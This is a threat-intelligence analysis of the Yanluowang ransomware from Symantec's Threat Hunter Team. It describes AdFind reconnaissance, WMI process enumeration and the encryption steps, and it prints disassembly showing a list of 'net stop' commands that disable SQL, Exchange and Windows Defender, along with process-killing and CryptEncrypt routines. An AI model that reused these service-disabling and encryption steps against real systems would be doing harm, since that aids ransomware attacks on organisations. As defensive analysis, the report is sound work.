



New Yanluowang Ransomware Used in Targeted Attacks

New arrival to the targeted ransomware scene appears to be still in development.

The Symantec Threat Hunter Team, a part of [Broadcom Software](#), has uncovered what appears to be a new ransomware threat called Yanluowang that is being used in targeted attacks.

In a recent attempted ransomware attack against a large organization, Symantec obtained a number of malicious files that, upon further investigation, revealed the threat to be a new, if somewhat underdeveloped, ransomware family.

The Threat Hunter Team first spotted suspicious use of AdFind, a legitimate command-line Active Directory query tool, on the victim organization's network. This tool is often abused by ransomware attackers as a reconnaissance tool, as well as to equip the attackers with the resources that they need for lateral movement via Active Directory. Just days after the suspicious AdFind activity was observed on the victim organization, the attackers attempted to deploy the Yanluowang ransomware.

Before the ransomware is deployed on a compromised computer, a precursor tool carries out the following actions:

- Creates a .txt file with the number of remote machines to check in the command line
- Uses Windows Management Instrumentation (WMI) to get a list of processes running on the remote machines listed in the .txt file
- Logs all the processes and remote machine names to processes.txt

```

.rdata:004558B8 ; CHAR aNetStopMssqlMs[]
.rdata:004558B8 aNetStopMssqlMs db 'net stop MSSQL$MSFW',0
.rdata:004558B8 ; DATA XREF: main_module+1581fo
.rdata:004558CC ; CHAR aNetStopSqlagen[]
.rdata:004558CC aNetStopSqlagen db 'net stop SQLAgent$ISARS',0
.rdata:004558CC ; DATA XREF: main_module+1598fo
.rdata:004558E4 ; CHAR aNetStopSqlagen_0[]
.rdata:004558E4 aNetStopSqlagen_0 db 'net stop SQLAgent$MSFW',0
.rdata:004558E4 ; DATA XREF: main_module+15AFfo
.rdata:004558FB align 4
.rdata:004558FC ; CHAR aNetStopSqlbrow[]
.rdata:004558FC aNetStopSqlbrow db 'net stop SQLBrowser',0
.rdata:004558FC ; DATA XREF: main_module+15C6fo
.rdata:00455910 ; CHAR aNetStopReports[]
.rdata:00455910 aNetStopReports db 'net stop ReportServer$ISARS',0
.rdata:00455910 ; DATA XREF: main_module+15DDfo
.rdata:0045592C ; CHAR aNetStopSqlwrit[]
.rdata:0045592C aNetStopSqlwrit db 'net stop SQLWriter',0
.rdata:0045592C ; DATA XREF: main_module+15F4fo
.rdata:0045593F align 10h
.rdata:00455940 ; CHAR aNetStopWindefe[]
.rdata:00455940 aNetStopWindefe db 'net stop WinDefend',0
.rdata:00455940 ; DATA XREF: main_module+160Bfo
.rdata:00455953 align 4
.rdata:00455954 ; CHAR aNetStopMr2kser[]
.rdata:00455954 aNetStopMr2kser db 'net stop mr2kserv',0
.rdata:00455954 ; DATA XREF: main_module+1622fo
.rdata:00455966 align 4
.rdata:00455968 ; CHAR aNetStopMsexcha[]
.rdata:00455968 aNetStopMsexcha db 'net stop MSEXchangeADTopology',0
.rdata:00455968 ; DATA XREF: main_module+1639fo
.rdata:00455986 align 4
.rdata:00455988 ; CHAR aNetStopMsexcha_0[]
.rdata:00455988 aNetStopMsexcha_0 db 'net stop MSEXchangeFBA',0
.rdata:00455988 ; DATA XREF: main_module+1650fo
.rdata:0045599F align 10h
.rdata:004559A0 ; CHAR aNetStopMsexcha_1[]
.rdata:004559A0 aNetStopMsexcha_1 db 'net stop MSEXchangeIS',0
.rdata:004559A0 ; DATA XREF: main_module+1667fo
.rdata:004559B6 align 4

```

Figure 1. Yanluowang stops multiple services on compromised computers
The Yanluowang ransomware is then deployed and carries out the following actions:

- Stops all hypervisor virtual machines running on the compromised computer
- Ends processes listed in processes.txt, which includes SQL and back-up solution Veeam
- Encrypts files on the compromised computer and appends each file with the .yanluowang extension
- Drops a ransom note named README.txt on the compromised computer

```

mov     [ebp+var_40], 0
push   offset aVeeam ; "veeam"
lea    ecx, [ebp+var_40]
mov     [ebp+var_30], 0
mov     [ebp+var_2C], 7
mov     word ptr [ebp+var_40], ax
call   sub_D59320
mov     [ebp+var_4], 0
lea    ecx, [ebp+var_28]
push   3
xor     eax, eax
mov     [ebp+var_28], 0
push   offset aSql ; "sql"
mov     [ebp+var_18], 0
mov     [ebp+var_14], 7
mov     word ptr [ebp+var_28], ax
call   sub_D59320
push   0 ; th32ProcessID
push   0Fh ; dwFlags
mov     [ebp+var_4], 1
call   ds:CreateToolhelp32Snapshot
mov     esi, eax
mov     [ebp+var_28C], esi
cmp     esi, 0FFFFFFFFh
jz     loc_D55646

```

```

mov     eax, ds:OpenProcess
lea    edi, [ebp+var_40]
mov     ecx, ds:Process32FirstW
mov     [ebp+openProcess], eax
mov     eax, ds:TerminateProcess
mov     [ebp+TerminateProcess], eax
mov     eax, ds:CloseHandle
mov     [ebp+CloseHandle], eax
mov     eax, ds:Process32NextW
mov     [ebp+var_278], 0
mov     [ebp+var_27C], edi
mov     [ebp+Process32FirstW], ecx
mov     [ebp+Process32NextW], eax
db     66h, 66h

```

Figure 2. Yanluowang ends the SQL and Veeam processes before encryption

```

push    eax                ; pnProv
call    ds:CryptAcquireContextW
lea     eax, [ebp+phKey]
push    eax                ; phKey
push    edi                ; pInfo
push    1                  ; dwCertEncodingType
push    [ebp+phProv]      ; hCryptProv
call    ds:CryptImportPublicKeyInfo
mov     esi, ds:CryptEncrypt
lea     eax, [ebp+pdwDataLen]
push    20h ; ' '          ; dwBufLen
push    eax                ; pdwDataLen
push    0                  ; pbData
push    0                  ; dwFlags
push    1                  ; Final
push    0                  ; hHash
push    [ebp+phKey]       ; hKey
mov     [ebp+var_1118], 20h ; ' '
mov     [ebp+pdwDataLen], 20h ; ' '
call    esi ; CryptEncrypt
push    [ebp+pdwDataLen]
call    ??_U@YAPAXI@Z      ; operator new[](uint)
mov     ecx, [ebp+var_13B0]
add     esp, 4
mov     [ebp+pbBinary], eax
movups  xmm0, xmmword ptr [ecx]
movups  xmmword ptr [eax], xmm0
movups  xmm0, xmmword ptr [ecx+10h]
lea     ecx, [ebp+var_1118]
movups  xmmword ptr [eax+10h], xmm0
push    [ebp+pdwDataLen] ; dwBufLen
push    ecx                ; pdwDataLen
push    eax                ; pbData
push    0                  ; dwFlags
push    1                  ; Final
push    0                  ; hHash
push    [ebp+phKey]       ; hKey
call    esi ; CryptEncrypt
lea     eax, [ebp+pbEncoded]
xor     edi, edi
push    eax                ; pcchString
push    edi                ; pszString
push    1                  ; dwFlags

```

Figure 3.

